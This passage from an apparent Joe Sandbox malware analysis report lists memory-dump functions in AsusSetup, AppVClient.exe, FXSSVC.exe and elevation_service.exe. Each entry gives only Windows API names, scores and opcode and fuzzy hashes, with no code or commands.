Instruction Fuzzy Hash: 8BF0F637D1DA0AC6BB3E9B9C04156367B57FB611C4F0C065ACD5387004DB23D0108983

Function 01FD8BA6 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 01FD8B3C

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: b63effb34f7ad229d2f8481b85073b53b936557c6f19cf734c30284eb0ff6338
Instruction ID: 73fdcaa9c56b1b89847aca4816db34c961960007c423b9a582513d9bd49bd3ed
Opcode Fuzzy Hash: b63effb34f7ad229d2f8481b85073b53b936557c6f19cf734c30284eb0ff6338
Instruction Fuzzy Hash: 85E08C7100C700CBE716DB8CD488B3A7BD3FB88388F0C0418E68AC2260CB7A85898B42

Function 01FD8F40 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32 ref: 01FD8F47

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 835b528c6dcffabb250974905218d0cb35aa061c9c7f48dde8b7e13ad1b7d173
Instruction ID: cd56ab8ff6e276b2e556f1b528d39d12af280ee1fc48a60ef6adede6bb72cf00
Opcode Fuzzy Hash: 835b528c6dcffabb250974905218d0cb35aa061c9c7f48dde8b7e13ad1b7d173
Instruction Fuzzy Hash: EEE08665D0D788DAE77B577C484C3797E93AB422D8F0C054BE5A1C60A6C667CC028712

Function 01FD9625 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32 ref: 01FD964E

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 412e19964fa084b0320597dc17b3db4847efaffa2005f417fa316b51f5812584
Instruction ID: 1d9630e6c38abda1b84482df013835b7fb9ace59761ba44e9e1b53710ac8d18a
Opcode Fuzzy Hash: 412e19964fa084b0320597dc17b3db4847efaffa2005f417fa316b51f5812584
Instruction Fuzzy Hash: 8EE0925124E3818ED3139FB858087B53EB2BF021ACF4D038EB4A5C60E3DB5B8809C701

Function 01FD8B76 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32 ref: 01FD8FAE

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 8b5d510f54f190b41ef9304eccb758e96c77d313a1906c0b31328302ad949a01
Instruction ID: 01659f5a9d69977d25391274df4c699428212f00977f0517ab851a1225de27a0
Opcode Fuzzy Hash: 8b5d510f54f190b41ef9304eccb758e96c77d313a1906c0b31328302ad949a01
Instruction Fuzzy Hash: FFD02236B2850CCA2B3D8F7D0AA02392543E3D80E031E872DC1ABE2084DD3354020003

Function 01FD615A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32 ref: 01FD6164
ReadFile.KERNEL32 ref: 01FD61DD

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: f38b3d7fc64b22a56f2c86c710218589a1fe9382d05e0b8a998e624ad2d28af1
Instruction ID: dedef7d1b66d500d0234ccfe2d4217c95fa0bfd501af14f56e554af88ff930a0
Opcode Fuzzy Hash: f38b3d7fc64b22a56f2c86c710218589a1fe9382d05e0b8a998e624ad2d28af1
Instruction Fuzzy Hash: 95D0C922A581068AFB794A3DA82D3376B87A74463AF089739C163C01D1DF6780025644

Function 01FD92DD Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32 ref: 01FD92CC

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 83dbcb6670d8f604cd81e2834c63a396093eb5b0311d9ad889ae66546caaff62
Instruction ID: cb4454bcb0870175654fc909126e255aeb08ee1d12f1d0ad8db93a1d853bbd19
Opcode Fuzzy Hash: 83dbcb6670d8f604cd81e2834c63a396093eb5b0311d9ad889ae66546caaff62
Instruction Fuzzy Hash: AED01232418604CAE651DBD5C845B7B7A9BF78510EF0CC50C958BD1251CBFBC309C562

Function 01FD8FAA Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32 ref: 01FD8FAE

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 723acebcdce85ba2f10dda4430793235e2ab0109130791c18cab4d7bdce07846
Instruction ID: 0773a61b503779ee40d3f1a8100361dbac04534f1ad9ce614f99bcc220321267
Opcode Fuzzy Hash: 723acebcdce85ba2f10dda4430793235e2ab0109130791c18cab4d7bdce07846
Instruction Fuzzy Hash: 1AC02B3280460FC73F264B9C53D423C3873E7485C830C021DD587E1006DD33A0404A03

Function 01FD5D50 Relevance: 1.5, APIs: 1, Instructions: 8threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 01FD5CD9
CloseHandle.KERNEL32 ref: 01FD5CDE
CreateThread.KERNEL32 ref: 01FD5D59

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction ID: 3651ebeecc76a59b121bf69a9b05c8b26e3ef986d63b580bc54d31fef3873661
Opcode Fuzzy Hash: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction Fuzzy Hash: 49B0120382CE87C508261B38085853819A62F460349BC1F6C8FB3078F3D80304065330

Function 01FD5990 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 01FD5A54

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: d80218c56ce82e53d6210647fcc3cfaa07821b1dc8e388689e5769b46d98d13b
Instruction ID: 56b75e79182fd3332015568e40a041d1bf1980b992ce31b76ef23cc3cdb8c9e3
Opcode Fuzzy Hash: d80218c56ce82e53d6210647fcc3cfaa07821b1dc8e388689e5769b46d98d13b
Instruction Fuzzy Hash: 9021A832D1DBB4CFE76B931C48D46B52AB3BB96324F4C01DBD086CB1B2D92B49058247

Function 01FD8245 Relevance: 1.3, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 01FD830B

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: caa725a902d60e659633ec615f2acf4b142068780a329095be708c1c73959928
Instruction ID: 262f63ed467da772506c05de75a4032c11b624772aef1f84222c80f56183a4cb
Opcode Fuzzy Hash: caa725a902d60e659633ec615f2acf4b142068780a329095be708c1c73959928
Instruction Fuzzy Hash: 5DF0A426D1DA91CFE627D71C945197A7FA3AF82290B4D008AD44BCB563CA179C02D793

Function 01FD83E7 Relevance: 1.3, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 01FD830B

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction ID: 51649a53adf5be35349eb32c6ae77fada500a909c13eaf169d54f29d69e3d903
Opcode Fuzzy Hash: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction Fuzzy Hash: 0FF09036D1C941CB9636C70CD881E3A3F63BB412C1B5C4049C54BCB523D627D802C793

Function 01FD8318 Relevance: 1.3, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 01FD830B
GetTokenInformation.KERNELBASE ref: 01FD8369

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: CloseHandleInformationToken
String ID:
API String ID: 3954737543-0
Opcode ID: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction ID: 9b2a996806d0e1ab8775e128a97441143bc041f4e270ebe5118209dafafe8652
Opcode Fuzzy Hash: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction Fuzzy Hash: A0F09026C1D641CBAA268B1CD8829793BA3BF412D0B5C4049C54BCB123DA2BD806C753

Non-executed Functions

Function 02002ED0 Relevance: 1.8, APIs: 1, Instructions: 321COMMON

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 0200311D

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: eb89a8a385eca23818c00267d82649db9f1e568ecff9ee33809bd01fc8c9252f
Instruction ID: 0b73e033d43f55f71e1b6c96d673c53d9607d73c77ba2ae8568d9873bd2c98d3
Opcode Fuzzy Hash: eb89a8a385eca23818c00267d82649db9f1e568ecff9ee33809bd01fc8c9252f
Instruction Fuzzy Hash: 06B14831510B4DCFEB9ADF1CC88ABA677E0FB59308F198599E859CB2A1C335D852CB41

Analysis Process: AppVClient.exePID: 3364, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	56
Total number of Limit Nodes:	4

Executed Functions

Function 00BE81C0 Relevance: 4.9, APIs: 3, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2171060482.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_be0000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8df0ac1401ce2cdb2d999bdf71bb41ab150bf242135a1906e3b3b3c900401258
Instruction ID: 036b26a6c0b06b3b0a06e6d5b9989b850615622d383eb13a84cc5e27f560993c
Opcode Fuzzy Hash: 8df0ac1401ce2cdb2d999bdf71bb41ab150bf242135a1906e3b3b3c900401258
Instruction Fuzzy Hash: 58B1133050CE89CBCB29CB1E84C0675B7E2FFA5314F288AD9D58F87166DF259C069356

Function 00BE5B8F Relevance: 4.7, APIs: 3, Instructions: 161
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00BE5D59

Memory Dump Source

Source File: 00000007.00000002.2171060482.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_be0000_AppVClient.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction ID: b3df3db0ec98d26e75dd1d0808baf16946a2a4e042701f1afc4b96da02630d7d
Opcode Fuzzy Hash: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction Fuzzy Hash: 0C41F620208FC98FCB789B3B8CA9B7926D0EB5531CF3841F6D006CB2A2DF648C459752

Function 00BE5D22 Relevance: 4.5, APIs: 3, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00BE5CD9
CloseHandle.KERNELBASE ref: 00BE5CDE
CreateThread.KERNELBASE ref: 00BE5D59

Memory Dump Source

Source File: 00000007.00000002.2171060482.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_be0000_AppVClient.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction ID: bd8229d4424fd939103259ef4c70bae2da1defa8dffe16065419f7eb42f8be68
Opcode Fuzzy Hash: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction Fuzzy Hash: EFF0C220618EC585DA3C863B8CA977A61C1EB9932CF7487EA9117C92D0DF6449019306

Function 00BE5D50 Relevance: 1.5, APIs: 1, Instructions: 8
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00BE5CD9
CloseHandle.KERNELBASE ref: 00BE5CDE
CreateThread.KERNELBASE ref: 00BE5D59

Memory Dump Source

Source File: 00000007.00000002.2171060482.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_be0000_AppVClient.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction ID: 2634cf9c3c49d0300d36e19ba68c94492cb2b79f25b1ba20186cbafe9a43b30c
Opcode Fuzzy Hash: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction Fuzzy Hash: DBB01200429FC765003913330E8852805C4EF4633CD746FFC8F7306AD2DB000C046320

Function 00BE5990 Relevance: 1.4, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00BE5A54

Memory Dump Source

Source File: 00000007.00000002.2171060482.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_be0000_AppVClient.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction ID: 7cc8892d78a23b370e97d92c96cac4a2189f72fbc8b1eedb70e93b1b971a2c1f
Opcode Fuzzy Hash: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction Fuzzy Hash: 0A21E63451DEC88FC77A932B44D52B926E2FB9932CF5823FBD086CB193DB284D059242

Function 00BE8245 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BE830B

Memory Dump Source

Source File: 00000007.00000002.2171060482.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_be0000_AppVClient.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 0b5c3f705f9c07e18e9fed4425a8b847f59da5c944a15ebbd2a3689b4522c0a5
Instruction ID: b0dff9d79f241462290ca9b30aeeda37e63e2950338b3ab4c1643f9d89a32e26
Opcode Fuzzy Hash: 0b5c3f705f9c07e18e9fed4425a8b847f59da5c944a15ebbd2a3689b4522c0a5
Instruction Fuzzy Hash: 91F0A43450DED2CFD62A871B909043A6BE1EF91710B6901DAE48FCB552CF14DC06E752

Function 00BE83E7 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BE830B

Memory Dump Source

Source File: 00000007.00000002.2171060482.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_be0000_AppVClient.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction ID: 89cd4901a5116b745feb72b5d575a6ab32fe4d4f24b36e33d2a2a060cec7c5ad
Opcode Fuzzy Hash: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction Fuzzy Hash: 07F0903450CDC2CB8A3A8617D48093627E1EB61700B6C40D9D54ECB162CF24DC01E75A

Function 00BE8318 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BE830B
GetTokenInformation.KERNELBASE ref: 00BE8369

Memory Dump Source

Source File: 00000007.00000002.2171060482.0000000000BE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_be0000_AppVClient.jbxd

Similarity

API ID: CloseHandleInformationToken
String ID:
API String ID: 3954737543-0
Opcode ID: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction ID: 87b0f20f54f9252f5619a7b4e2c673bb922280b839440e3d005162fb10a400e8
Opcode Fuzzy Hash: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction Fuzzy Hash: 1AF06D34409EC2CB9A268A17D48053527E1EE61750B6840D9D44ECB162CF28DC02E76A

Analysis Process: FXSSVC.exePID: 6972, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	62
Total number of Limit Nodes:	4

Executed Functions

Function 00D281C0 Relevance: 4.9, APIs: 3, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.2179585157.0000000000D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d20000_FXSSVC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cefe6a1d073a468b2f47e60a6f5afefe70bf264b610db135861494dc24b89b7
Instruction ID: 5b8df1e3048b2dc71c851735b053fc846665285a9bd45dcdc19b72efb4852fca
Opcode Fuzzy Hash: 1cefe6a1d073a468b2f47e60a6f5afefe70bf264b610db135861494dc24b89b7
Instruction Fuzzy Hash: A2B1293450EA66CBC729CB1CA481275B7A1FFB5318F2C8659D8CBC7166DE24DC02A376

Function 00D25B8F Relevance: 4.7, APIs: 3, Instructions: 161
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00D25D59

Memory Dump Source

Source File: 0000000A.00000002.2179585157.0000000000D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d20000_FXSSVC.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction ID: 16d53580ed2a3c5b3a0690c5b366b87d7d491efa3a22dc0b1195cf5b7b535bdc
Opcode Fuzzy Hash: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction Fuzzy Hash: D241E220608F298FDB689728B409F3927D1EBB531CF5C01AAD446CB1ADEA35CC01A772

Function 00D25D22 Relevance: 4.5, APIs: 3, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00D25CD9
CloseHandle.KERNELBASE ref: 00D25CDE
CreateThread.KERNELBASE ref: 00D25D59

Memory Dump Source

Source File: 0000000A.00000002.2179585157.0000000000D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d20000_FXSSVC.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction ID: 087ff7d6d16cc6327b9a5f341d223b13e78c5ac83f0ac5b07ad4de6eba279160
Opcode Fuzzy Hash: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction Fuzzy Hash: 1EF0C22161CE2585DB2C8629B859B3A63C1A7B932CF6C475AC097C90DCFA75C901A235

Function 00D25D50 Relevance: 1.5, APIs: 1, Instructions: 8
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00D25CD9
CloseHandle.KERNELBASE ref: 00D25CDE
CreateThread.KERNELBASE ref: 00D25D59

Memory Dump Source

Source File: 0000000A.00000002.2179585157.0000000000D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d20000_FXSSVC.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction ID: 3a4a21c725e83fd5e75ec8b5d1bf0564c1857d88227c72374940ca83cf1eb527
Opcode Fuzzy Hash: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction Fuzzy Hash: 15B09201029EA6550215123034089280A846AA623CA785BA98BB2468DAE82058046730

Function 00D25990 Relevance: 1.4, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00D25A54

Memory Dump Source

Source File: 0000000A.00000002.2179585157.0000000000D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d20000_FXSSVC.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction ID: ba0acb4e1046a8efdd5dcf168ada09d669d2603bff7b8c7483f4d4c3a5800a69
Opcode Fuzzy Hash: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction Fuzzy Hash: 1E21D42056DEB48BC76A93187493E7526A2F7B532CF5C03CBD0C6C718ED938AD448272

Function 00D28245 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00D2830B

Memory Dump Source

Source File: 0000000A.00000002.2179585157.0000000000D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d20000_FXSSVC.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: abeeb7420c1f47a5a155fc40ccd1a1890ae2ccf5a29964df3ea308a91953a94f
Instruction ID: 8e8822890c5d4b1c45b6205c3b8f8dbdc7eb0a6f41f21fcb66711f4e26bc840a
Opcode Fuzzy Hash: abeeb7420c1f47a5a155fc40ccd1a1890ae2ccf5a29964df3ea308a91953a94f
Instruction Fuzzy Hash: 6AF0817450FAB1CBCA268718B06043AEBB0AFB1718B6D05AAD486CB157CE15DC01F376

Function 00D283E7 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00D2830B

Memory Dump Source

Source File: 0000000A.00000002.2179585157.0000000000D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d20000_FXSSVC.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction ID: 60fd48a5f0fd0d8f9550dd6931ff5781ab469a0007d06b5cb8426c1fb241f1ad
Opcode Fuzzy Hash: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction Fuzzy Hash: 7CF06D7450BA71CB8625C718B44053AE7B0AF7170CB6C0969C486CB522CE25EC01F77A

Function 00D28318 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00D2830B
GetTokenInformation.KERNELBASE ref: 00D28369

Memory Dump Source

Source File: 0000000A.00000002.2179585157.0000000000D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d20000_FXSSVC.jbxd

Similarity

API ID: CloseHandleInformationToken
String ID:
API String ID: 3954737543-0
Opcode ID: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction ID: 96d9b61233d8a89f60e30d54642cef3dcf6020ef150cae75ff331c0a9eb72424
Opcode Fuzzy Hash: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction Fuzzy Hash: 7FF06D7440B671CBCA258B18F44053AE7B0AE7175CB6C0969C486CB162CE25EC02F776

Analysis Process: elevation_service.exePID: 7272, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	66
Total number of Limit Nodes:	5

Executed Functions

Function 009981C0 Relevance: 4.9, APIs: 3, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.4027543615.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8df0ac1401ce2cdb2d999bdf71bb41ab150bf242135a1906e3b3b3c900401258
Instruction ID: 39baefc33e140fcb93515faf968af9d8390162026be8828d2141562e5b2cc3d3
Opcode Fuzzy Hash: 8df0ac1401ce2cdb2d999bdf71bb41ab150bf242135a1906e3b3b3c900401258
Instruction Fuzzy Hash: F4B1263050DE458BDF29CB1D848123AB7A9FF97354F288A5DD4ABC7166DE28DC42C392

Function 00995B8F Relevance: 4.7, APIs: 3, Instructions: 161
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00995D59

Memory Dump Source

Source File: 0000000B.00000002.4027543615.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

